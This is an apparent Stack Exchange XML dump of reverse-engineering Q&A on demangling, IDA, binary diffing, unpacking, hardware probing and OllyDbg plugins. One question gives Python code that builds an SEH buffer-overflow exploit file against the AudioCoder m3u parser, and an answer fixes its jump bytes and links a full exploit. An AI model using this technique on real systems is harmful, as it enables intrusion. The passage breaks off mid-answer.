  <row Id="12816" PostTypeId="1" AcceptedAnswerId="12818" CreationDate="2016-06-06T14:51:48.443" Score="4" ViewCount="321" Body="&lt;p&gt;I'm trying to do a static analysis of a PE file to see what it does.&#xA;While doing so, I stumbled upon some really wierd function names in my objdump&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DLL Name: msvcrt.dll&#xA;vma:  Hint/Ord Member-Name Bound-To&#xA;c2c68    1371  wcsncmp&#xA;c2c72    1017  _wcsnicmp&#xA;c2c7e    1229  iswdigit&#xA;c2c8a    1013  _wcslwr_s&#xA;c2c96    1225  iswalpha&#xA;c2ca2       5  ??0bad_cast@@QAE@ABV0@@Z&#xA;c2cbe      14  ??1bad_cast@@UAE@XZ&#xA;c2cd4    1241  localeconv&#xA;c2ce2    1256  memchr&#xA;c2cec    1304  strcspn&#xA;c2cf6    1292  sprintf_s&#xA;c2d02     884  _strtoi64&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;notice the 2 bad_cast functions. Why are they wierd looking like that? What does this syntax mean?&lt;/p&gt;&#xA;" OwnerUserId="16324" LastEditorUserId="16324" LastEditDate="2016-06-06T16:20:06.873" LastActivityDate="2016-06-07T07:47:04.113" Title="Wierd names in import table" Tags="|pe|dll|static-analysis|functions|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12817" PostTypeId="2" ParentId="12602" CreationDate="2016-06-06T17:29:41.927" Score="0" Body="&lt;p&gt;If you know the base, you can &quot;force&quot; the display of the offset by using the '&lt;strong&gt;Offset (user-defined)&lt;/strong&gt;' command (Ctrl+R by default). You can then specify the base from which the offset have to be calculated, and IDA will basically add and substract the base, so it'll give:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;RVA 0x1234 with BaseAddress 0x400000 =&gt; (loc_401234 - 0x400000)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there is no easy way to differentiate a small constant and a RVA, beside maybe looking if the destination already has a name, but that's error-prone since the only reference to that location could be the very same RVA you're manipulating. Either manual inspection of each value or custom-made heuristics would be my best guess.&lt;/p&gt;&#xA;" OwnerUserId="8679" LastActivityDate="2016-06-06T17:29:41.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12818" PostTypeId="2" ParentId="12816" CreationDate="2016-06-07T07:47:04.113" Score="5" Body="&lt;p&gt;As @guntram-blohm says, these are mangled C++ functions. If you demangle the names (using, for example, an &lt;a href=&quot;https://demangler.com/&quot;&gt;online demangler&lt;/a&gt;) you will get the fully decorated function names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public: __thiscall bad_cast::bad_cast(class bad_cast const &amp;amp;)&#xA;public: virtual __thiscall bad_cast::~bad_cast(void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So these functions are the constructor and the destructor for &lt;a href=&quot;http://en.cppreference.com/w/cpp/types/bad_cast&quot;&gt;bad_cast objects&lt;/a&gt;, used to thrown an exception &lt;em&gt;when a dynamic_cast to a reference type fails the run-time check&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-06-07T07:47:04.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12819" PostTypeId="2" ParentId="12742" CreationDate="2016-06-07T08:12:00.407" Score="3" Body="&lt;p&gt;As @tmr232 says, you can use &lt;a href=&quot;https://github.com/joxeankoret/diaphora&quot; rel=&quot;nofollow&quot;&gt;Diaphora&lt;/a&gt; which does it automatically for you. Otherwise, if you prefer a command line tool (which, BTW, doesn't require IDA), you can use &lt;a href=&quot;https://github.com/joxeankoret/pyew&quot; rel=&quot;nofollow&quot;&gt;Pyew&lt;/a&gt; and the &lt;a href=&quot;https://github.com/joxeankoret/pyew/blob/VERSION_3X/gcluster.py&quot; rel=&quot;nofollow&quot;&gt;gcluster.py&lt;/a&gt; script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you prefer to write something yourself, please remember that comparing 2 binaries is not a trivial task. That said, I will explain how the comparison of the call graphs of 2 binaries works in both gcluster.py and Diaphora:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;First, a binary is loaded in a tool and code analysed. The tool can be Pyew (gcluster) or IDA (Diaphora).&lt;/li&gt;&#xA;&lt;li&gt;The code analysis step gathers information relative to functions, the call graph and flow graphs (basic blocks of each function and their relationships as well as function's relationships).&lt;/li&gt;&#xA;&lt;li&gt;Using that information, I calculate the cyclomatic complexity of each function that has more than 1 basic block.&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;a href=&quot;https://en.wikipedia.org/wiki/G%C3%B6del_numbering&quot; rel=&quot;nofollow&quot;&gt;Gödel numbering&lt;/a&gt; I assign a prime number corresponding to each &lt;a href=&quot;https://en.wikipedia.org/wiki/Cyclomatic_complexity&quot; rel=&quot;nofollow&quot;&gt;cyclomatic complexity&lt;/a&gt; (that's it, for each function).&lt;/li&gt;&#xA;&lt;li&gt;Then, with all these prime numbers corresponding to all functions, I multiply them to have a large number &quot;hash&quot;. This step is what the inventors, Halvar Flake and @rolfrolles, call &quot;Small Primes Product&quot; in their &quot;&lt;a href=&quot;https://static.googleusercontent.com/media/www.zynamics.com/es//downloads/bindiffsstic05-1.pdf&quot; rel=&quot;nofollow&quot;&gt;Graph-based comparison of Executable Objects&lt;/a&gt;&quot; paper.&lt;/li&gt;&#xA;&lt;li&gt;The result of the multiplication is the program's call graph signature.&lt;/li&gt;&#xA;&lt;li&gt;If the call graph signature is equal for 2 binaries, the call graph is very likely the same for both binaries. I say &quot;very likely&quot; because small functions are ignored and, also, using the cyclomatic complexity of a function as a fuzzy identifier is, fuzzy: 2 totally different functions can have the same cyclomatic complexity. In any case, the call graph signature is more than good enough in most cases (I'm yet to see a case were it isn't).&lt;/li&gt;&#xA;&lt;li&gt;If the call graph signature is different, factor the primes (which you already have calculated), remove these in both sets (i.e., in both binaries) and calculate the % of difference with the remaining primes (which correspond to functions) in both binaries.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another way of comparing call graphs is doing it by traversing both graphs and calculating the differences between 2 graphs (considering that you have some way to determine that a function F in binary A is equal to function F' in binary B, something that is not trivial). I don't recommend you doing so unless solving how to do so is your problem/what you want to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My 2 cents.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2016-06-07T08:12:00.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12820" PostTypeId="1" CreationDate="2016-06-07T13:03:26.777" Score="1" ViewCount="2995" Body="&lt;p&gt;I'm trying to unpack a binary packed with &lt;code&gt;aspack&lt;/code&gt; I loadded it into ollydbg 1.0 with ollydump tool. I setup hardware breakpoint at &lt;code&gt;ECX&lt;/code&gt; and then I step over it and it is stopping at this statement: &lt;pre&gt;MOV DWORD PTR DS:[EDI],EBX&lt;/pre&gt; I bypassed it by &lt;kbd&gt;shift&lt;/kbd&gt;+&lt;kbd&gt;F8&lt;/kbd&gt; but it keeps giving access violation error multiple times. How can I proceed further in UnPacking Binary. Binary is working fine when executed without debugger. &lt;/p&gt;&#xA;" OwnerUserId="15600" LastEditorUserId="15600" LastEditDate="2016-06-07T13:08:54.460" LastActivityDate="2021-06-20T10:40:53.490" Title="Unpacking ASpack Malware" Tags="|ollydbg|unpacking|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12821" PostTypeId="1" CreationDate="2016-06-07T14:18:43.330" Score="2" ViewCount="897" Body="&lt;p&gt;I am trying to recreate the exploit linked &lt;a href=&quot;https://www.exploit-db.com/exploits/25141/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; on Windows XP Professional SP2[x86]. I am building the exploit one step at a time. I have this snippet of code in Python3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = open(&quot;crash.m3u&quot;, &quot;wb&quot;)&#xA;head = b&quot;http://&quot;&#xA;junk = b&quot;A&quot; * 765&#xA;# SEH Chain overwritten with this&#xA;err = b&quot;\x90\x90\xEB\x04&quot; # NOP NOP JMP 0x6&#xA;ppr = b&quot;\xEE\x04\x01\x66&quot; # 0x660104EE contains PPR sequence from C:\Program Files\AudioCoder\libiconv-2.dll&#xA;shellcode = b&quot;\xCC&quot;&#xA;f.write(head+junk+err+ppr+shellcode)&#xA;f.close()&#xA;print(&quot;m3u File Created successfully&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I import this file into the application, it crashes and code halts at the place where I put in the 'CC' instruction. So far, so good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I create another file just to see the bad characters that I need to avoid:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f = open(&quot;crash.m3u&quot;, &quot;wb&quot;)&#xA;head = b&quot;http://&quot;&#xA;junk = b&quot;A&quot; * 765&#xA;# SEH Chain overwritten with this&#xA;err = b&quot;\x90\x90\xEB\x04&quot; # NOP NOP JMP 0x6&#xA;ppr = b&quot;\xEE\x04\x01\x66&quot; # 0x660104EE contains PPR sequence from C:\Program Files\AudioCoder\libiconv-2.dll&#xA;shellcode = b&quot;\xCC&quot;&#xA;# Testing bad characters&#xA;shellcode += (&#xA;  b&quot;\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10&quot;&#xA;+ b&quot;\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20&quot;&#xA;+ b&quot;\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30&quot;&#xA;+ b&quot;\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40&quot;&#xA;+ b&quot;\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50&quot;&#xA;+ b&quot;\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60&quot;&#xA;+ b&quot;\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70&quot;&#xA;+ b&quot;\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80&quot;&#xA;+ b&quot;\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90&quot;&#xA;+ b&quot;\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0&quot;&#xA;+ b&quot;\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0&quot;&#xA;+ b&quot;\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0&quot;&#xA;+ b&quot;\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0&quot;&#xA;+ b&quot;\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0&quot;&#xA;+ b&quot;\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0&quot;&#xA;+ b&quot;\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&quot;&#xA;)&#xA;f.write(head+junk+err+ppr+shellcode)&#xA;f.close()&#xA;print(&quot;m3u File Created successfully&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I figured would happen is that the application would halt because of the 'CC' instruction and I would then inspect the area in the stack for the bad characters. However, when I import this file, the application seems to go on an infinite loop. The debugger doesn't halt the application, which is weird since the 'CC' instruction should have! Why would this be?&lt;/p&gt;&#xA;" OwnerUserId="15582" LastActivityDate="2016-06-08T13:12:04.250" Title="Testing for bad characters in building an exploit doesn't seem to work as expected" Tags="|windows|x86|exploit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12824" PostTypeId="2" ParentId="12812" CreationDate="2016-06-08T09:43:46.903" Score="8" Body="&lt;p&gt;I had to add just a few things to have a clear mind (although the other answer is really good and got my up-vote already).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Single pin touching with a probe can blow up your HW.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I do not mean the obvious static charge or what so ever from the common reasons. With nowadays chips some pins runs on very specific voltage ranges and even a high impedance probes can blow them up if connected to wrong voltage. This is usually concerning ADC and semi analog pins of modern &lt;strong&gt;MCU&lt;/strong&gt;'s. They should be protected by transils and or diodes but often the costs are reduced and protection omitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also always be careful even with &lt;strong&gt;GND&lt;/strong&gt; to &lt;strong&gt;GND&lt;/strong&gt; connections even between galvanicaly &quot;sealed&quot; devices (sometimes you forgot shield and then the fun starts). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Ground connection&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many of the nowadays chips have their pins short-circuited to the &lt;strong&gt;GND&lt;/strong&gt; to protect them during power off or inactive state so measuring to &lt;strong&gt;GND&lt;/strong&gt; resistance is usually not enough. Much safer is to follow the &lt;strong&gt;PCB&lt;/strong&gt; paths if visible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Poking around&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I need to &quot;Poke around&quot; the first thing I do is get all the significant or known &lt;strong&gt;IC&lt;/strong&gt; numbers and find their datasheet or at least pinout (for those I can). Then find where the power pins are (&lt;strong&gt;Shield,GND,Vcc,Vddio,...&lt;/strong&gt;) and locate the &lt;strong&gt;PCB&lt;/strong&gt; power paths so I know where to avoid short-circuit by miss placing probe (as I am clumsy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only then I will locate pins I need. For example you want serial port then find the &lt;strong&gt;IC&lt;/strong&gt; capable of serial transmition and check the pins capable of them only. Oscilloscope is the way because you will see directly if it is digital or analog signal what is the baudrate etc instead of guessing... But I know not everyone has a decent oscillosope (like me 15 years ago) But usually some friend has one or in work/school usually you need just to ask... Anyway I was not that lucky at that time so I do SW oscilloscope using soundcard instead link to the win32 apps and description can be found here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/21658139/2521214&quot;&gt;plotting real time Data on (qwt )Oscillocope&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anyway you would need to make some sort of probe &lt;strong&gt;HW&lt;/strong&gt; (voltage divider and or amplifier and may be some protection) to make it work with your soundcard safely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want something really simple and stupid instead use 2 anti-parallel connected &lt;strong&gt;LED&lt;/strong&gt;s to see if you got alternating signal (they should both glowing in such case).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;serial communication&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many protocols and even voltage encoding for serial communication these days and simple &lt;strong&gt;RS232&lt;/strong&gt; listener can be used only if:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;voltage levels are in &lt;strong&gt;RS232&lt;/strong&gt; range &lt;code&gt;(+/-15V)&lt;/code&gt; usually works on &lt;code&gt;(+/-5V)&lt;/code&gt; for some &lt;strong&gt;IC&lt;/strong&gt;s but it is not guaranteed. Many &lt;strong&gt;MCU&lt;/strong&gt;s has serial links in &lt;strong&gt;TTL&lt;/strong&gt; levels &lt;code&gt;(0/5V)&lt;/code&gt; or even &lt;code&gt;(0/3.3V)&lt;/code&gt; so you need voltage converter like &lt;strong&gt;MAX232&lt;/strong&gt; before connecting to PC.&lt;/li&gt;&#xA;&lt;li&gt;if custom protocol/encoding is used you need first to identify it and then decoding usually by some &lt;strong&gt;MCU&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;if &lt;strong&gt;RS232&lt;/strong&gt; protocol is used you still need to know how many &lt;strong&gt;data,parity,start,stop&lt;/strong&gt; bits are present and also the &lt;strong&gt;baud rate&lt;/strong&gt;. The frequency and full bit width can be measured by oscilloscope, then you need to play with settings which bits are what until you get the data correctly.&lt;/li&gt;&#xA;&lt;li&gt;You should output the data in both string and &lt;strong&gt;Hex&lt;/strong&gt; form for easier spotting of patterns ... for example see &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/9381/4709&quot;&gt;Putting an application in between client and server&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[PS]&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case you did not fry the board for good (sometimes chips will recover after time when the charge accumulated in wrong places is gone) so try it in few days again. But make no mistake not fried for good does not mean undamaged. Even in cases the device will run again usually its life span is significantly reduced and often not all pins are functional as should afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;[Edit1] Measuring against GND&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are usually more &lt;strong&gt;GND&lt;/strong&gt; types in analog/digital mixed device. usually all of them are interconnected at some point (usually very near stabilisator output) but that does not mean they have the same voltage !!!&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Power supply GND&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is present with widest fully filled &lt;strong&gt;PCB&lt;/strong&gt; wirings and can transfer lot of current. Its purpose is to power the components. You should use this one to measure if better option is not present.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Blocking GND&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one is used to annihilate the pulse load of the digital circuits on the power supply. Otherwise the ground and Vcc would float making a lot of troubles along the way. The only thing that should be connected to this are the blocking capacitances (&lt;code&gt;1nF,10nF,100nF&lt;/code&gt; very close to each ICs power supply pins). &lt;strong&gt;Do not use this for measuring!!!&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Shield GND&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is usually connected to shielding areas (those criss/cross filled &lt;strong&gt;PCB&lt;/strong&gt; areas between data and &lt;strong&gt;HF&lt;/strong&gt; parts of the &lt;strong&gt;PCB&lt;/strong&gt; and cable shielding) to avoid noise affecting critical parts of the circuit. Do not mistake them with &lt;strong&gt;PCB&lt;/strong&gt; coils (meanders/zig zag patterns or spirals) they are completely different thing. &lt;strong&gt;Do not use this for measuring!!!&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Digital/Data GND&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This one should be used if present&lt;/strong&gt;. Its sole purpose is to provide reference voltage between digital interfaces. Beware sometimes these are not connected to the main &lt;strong&gt;GND&lt;/strong&gt;'s and sometimes even to each other between different interfaces!!! Also the voltage level could be anything there not just 0V !!!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="4709" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.117" LastActivityDate="2016-06-08T11:32:37.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12825" PostTypeId="2" ParentId="12795" CreationDate="2016-06-08T10:18:10.943" Score="4" Body="&lt;p&gt;Start with reversing the circuit diagram of the cartrige. Find what chip is used (MCU or something else) if it is MCU or some kind of FLASH/EEPROM then this could be done by software. But there is a possibility that the info is hardwired into something like broken PCB path or blown up some diode/fuse/resistor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case MCU is used try to dump working cartrige and not working cartrige memories and compare/disassemble the differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without more info and access to the HW is very hard to provide more help.&lt;/p&gt;&#xA;" OwnerUserId="4709" LastActivityDate="2016-06-08T10:18:10.943" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12826" PostTypeId="2" ParentId="12821" CreationDate="2016-06-08T13:12:04.250" Score="3" Body="&lt;p&gt;Already replied to you in the mailing list, But as this may help someone else,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;err = &quot;\x90\x90\xEB\x04&quot; # NOP NOP JMP 0x6&lt;/code&gt;&#xA;This JMP instruction is wrong. I suppose it's &lt;code&gt;\xEB\x06&lt;/code&gt;. Also this is little endian and it should be like &lt;code&gt;err=&quot;\xeb\x06\x90\x90&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can compare your exploit code with this: &lt;a href=&quot;https://github.com/ajinabraham/Exploit-Research-Ported/blob/master/seh%20buffer%20overflow%20audio%20coder%200.8.18.5353.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ajinabraham/Exploit-Research-Ported/blob/master/seh%20buffer%20overflow%20audio%20coder%200.8.18.5353.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16345" LastActivityDate="2016-06-08T13:12:04.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12827" PostTypeId="1" AcceptedAnswerId="12835" CreationDate="2016-06-09T03:24:49.773" Score="3" ViewCount="786" Body="&lt;p&gt;I'm trying to get to an Android device framework source to perform static analysis on it. I'm specifically looking at a Samsung Galaxy S6 device with Android 5.1.1. I downloaded the firmware image, mounted the system partition, and I'm able to see the framework directory with a bunch of jars and sub-directories with arm/arm64 odex files. I managed to convert services.odex to DEX format using oat2jar, and then look at the source using jadx. However, it appears the decompilation or the conversion from odex to dex wasn't complete, as there are references to several missing packages. I have the package names, but how do I get to the relevant jar/odex/dex files?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15717" LastActivityDate="2016-08-11T09:46:20.297" Title="Reverse engineering Android device framework" Tags="|decompilation|android|jar|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12828" PostTypeId="1" CreationDate="2016-06-11T06:29:19.617" Score="-2" ViewCount="102" Body="&lt;p&gt;So I'm trying to request data from a server and I've been able to connect the server and send commands to request data. I'm not sure of the command format itself i just used what i captured in wireshark and the server response with the same data that was also captured in wireshark. The problem is I cannot discern any format from the data. All received data seems to have a similar header like&#xA;b1cb74000c0130000100eb0f or b1cb74000c0130000200b50f. I thought it was a compression header but no decompression or inflate functions work. The data is stock data and in this case is tick data. It should contain min,hour,price,volume and buy/sell. I'll include one full received data below. Any ideas on if it is in fact compressed or another way i could approach it is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b1cb74000c0130000100eb0fed04ed04f00085eb75419f189c90138c0444c804870851e40abd0451cf0c800250c20e8b034ccf0e800150e11092065bde1586075eef1b840c59e41cb60358f21c920154f91ca90257dc1db10456df1d2556eb1da00254ef1d970256f81d840257ca1e98035ada1eb2015bfa1e92035cf020be0c59c121bf0354fb20ac0557c021bf0256c3219f0352f020b60652e220ad0552df20960157e520b20354e5202856e620920156e7202c55e720b90257f020a8055af620a4015dff20a40160c921950158d621a60659d821315bde21af015be1213265f022800867dc23900466f623b60267e424b60466c325ac036be325ba026bef2695076be327960566fc27ba0361c428bc0165cd28a10166dc289f0267e328860171de2ba91174f22cb2076fcd2d9a036ad82db9016df42d89046ec52e9f026ed82eaa0271e92e890272c42f94036fed2f89066ffc2f8e026fc33087016ed530880373fc30860574dc3183047dc533be0979df33ba0276c63493057dfc34ae057df636ae0dc101fd379907c201f23ab713c501e33db813cc01c63fae09c601d840920ac101e340b101c001c4419f05c201f341a107c401fb418e01c701f1429307c501c943ae03c801d643b001cb01ca44aa06c801e1449603c801c3458005ca01e0458a04c801ef458b02c801f5458201c101ca46970479d1469302c001d5463ac001d6461c7edc46a0017ee14686017ee1460ec001e54638c101e6460bc001e94628c001eb46247eef463c7bf046157cf24624c001fc46a002c301e0479407c501ec479802c301ef472bc201f04714c201f6479401c501c1488b02c601c9489901c601d148a801c501d24810c501d54822c501d94837c501df489101c201e4488901c601ce499208c601d3498501c501e1498103c601e44923c301c14a80077ec34a297fc34a0b7fc94aba01c301ce4a8e01c301d94aa602c001d94a0cc101da4a0ac101dd4a3fc201de4a0dc101e04a1cc001e04a0b7ee54aa3017de74a3f7ee84a157eea4a297deb4a1a7cf44a96037efd4a9003c201c84b8303c201ca4b2ac001ca4b097ecc4b1c7fcf4b80017fd04b25c001d64bb3017fe44bb3047ce54b2b7deb4b9f027ded4b2f7bf24b92027af34b347af44b207af74b9d0177ff4ba60674c04c8c0274c44ca40576ca4c8e0676cb4c930176cd4c970277d04cae027eda4cb70379de4c840379df4c1b77e04c850171e04c9f0573e14c970379e14c07c001fb4cbe0974fc4c960175fd4c3d79fe4c3d7fc04d36c001c94da503c001cb4d3c7bcc4d2f7fcf4d86017fd84d8304c101df4dab027be94d9d067def4d8b03c101f94db303c101fb4d33c201fd4d327efe4d287eff4d17c001c44e9b02c001c84ea7017ecb4e9a01c001ce4e9001c301d74e9e03c501fb4ebc0bc601c54f8e03c501cc4fad02c701da4f9504c401dc4f2bc301df4f8501c101df4f12c301e34fa601c301fa4f9309c501fb4f10c401fb4f0ac601ff4f9d01c601c850b802c601c95016c701ce50b101c701da508704c801e550a503c801e9509c01ca01f950a704ca01cf51b006ca01d751a502ca01f651ad09cc01d452bc08cc01e352b104c901e9528302cb01ed528e01c901c1538207c701d353a907c801e053b804cb01f753bd07cc01c854aa05cc01e454a209cf01dd55a511ce01ec558f05ce01ca568c0ace01d4569503d201fb56ab0bd501e257b40ad701dd58ac0fd701d85abf22c301e45a9d0bc301ef5a910bca01f05a0aca01f05a00c401f95aad08&lt;/p&gt;&#xA;" OwnerUserId="16366" LastEditorUserId="12872" LastEditDate="2016-06-11T11:16:40.853" LastActivityDate="2016-06-11T11:16:40.853" Title="help to identify this possibly compressed data header or format" Tags="|decryption|" AnswerCount="1" CommentCount="0" ClosedDate="2016-06-11T17:52:45.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="12829" PostTypeId="2" ParentId="12828" CreationDate="2016-06-11T09:52:50.617" Score="2" Body="&lt;p&gt;From just a bunch of data, that doesn't have any ovbious structure, it's impossible to tell.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This doesn't look like a standard encoding. For standard encodings, feeding google the hex codes of the first few bytes typcially gives you some results, and so does the linux &lt;code&gt;file&lt;/code&gt; command, but this is not the case here. Try googling for &lt;code&gt;1f 8b&lt;/code&gt; or &lt;code&gt;42 5a&lt;/code&gt; to find &lt;code&gt;gzip&lt;/code&gt; resp. &lt;code&gt;bzip2&lt;/code&gt; quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you disassemble the executable file that processes this data, and checks how it reads the data (and possibly decrypts or converts it before actually reading it), it's quite probable you won't be able to find out anything.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-06-11T09:52:50.617" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12830" PostTypeId="1" AcceptedAnswerId="12831" CreationDate="2016-06-11T12:49:05.690" Score="0" ViewCount="155" Body="&lt;p&gt;Im developing a plugin in which I would like to be notified when user makes some modification to the code. I know there is a patch table which can be accessed through &lt;code&gt;Plugingetvalue&lt;/code&gt; function but I would like to do some actions as soon as user modifes code and not to check patch table every now and then. Is it possible to do this and how?&lt;/p&gt;&#xA;" OwnerUserId="8562" LastActivityDate="2016-06-11T16:58:14.990" Title="ollydbg plugin patch notification" Tags="|ollydbg|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12831" PostTypeId="2" ParentId="12830" CreationDate="2016-06-11T16:58:14.990" Score="1" Body="&lt;p&gt;Given your reference to &lt;code&gt;Plugingetvalue()&lt;/code&gt;, it looks like you're trying to write your plugin for OllyDbg v1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case, you could do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get the address of the patch table's &lt;code&gt;t_table&lt;/code&gt;: &lt;code&gt;pPatchTable = Plugingetvalue(VAL_PATCHES);&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hook &lt;code&gt;Addsorteddata()&lt;/code&gt;, such that any time you see it called with &lt;code&gt;sd == &amp;amp;pPatchTable-&amp;gt;data&lt;/code&gt;, you'll see that the user just added a patch.&lt;/li&gt;&#xA;&lt;li&gt;Analyze the &lt;code&gt;item&lt;/code&gt; value passed to &lt;code&gt;Addsorteddata()&lt;/code&gt; above as a pointer to a &lt;code&gt;t_patch&lt;/code&gt; structure, which will give you the base address of the patch in memory, the size of the patch, the type of patch, the original code, and the patched code.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There may be a formal way to get patch notifications, but if 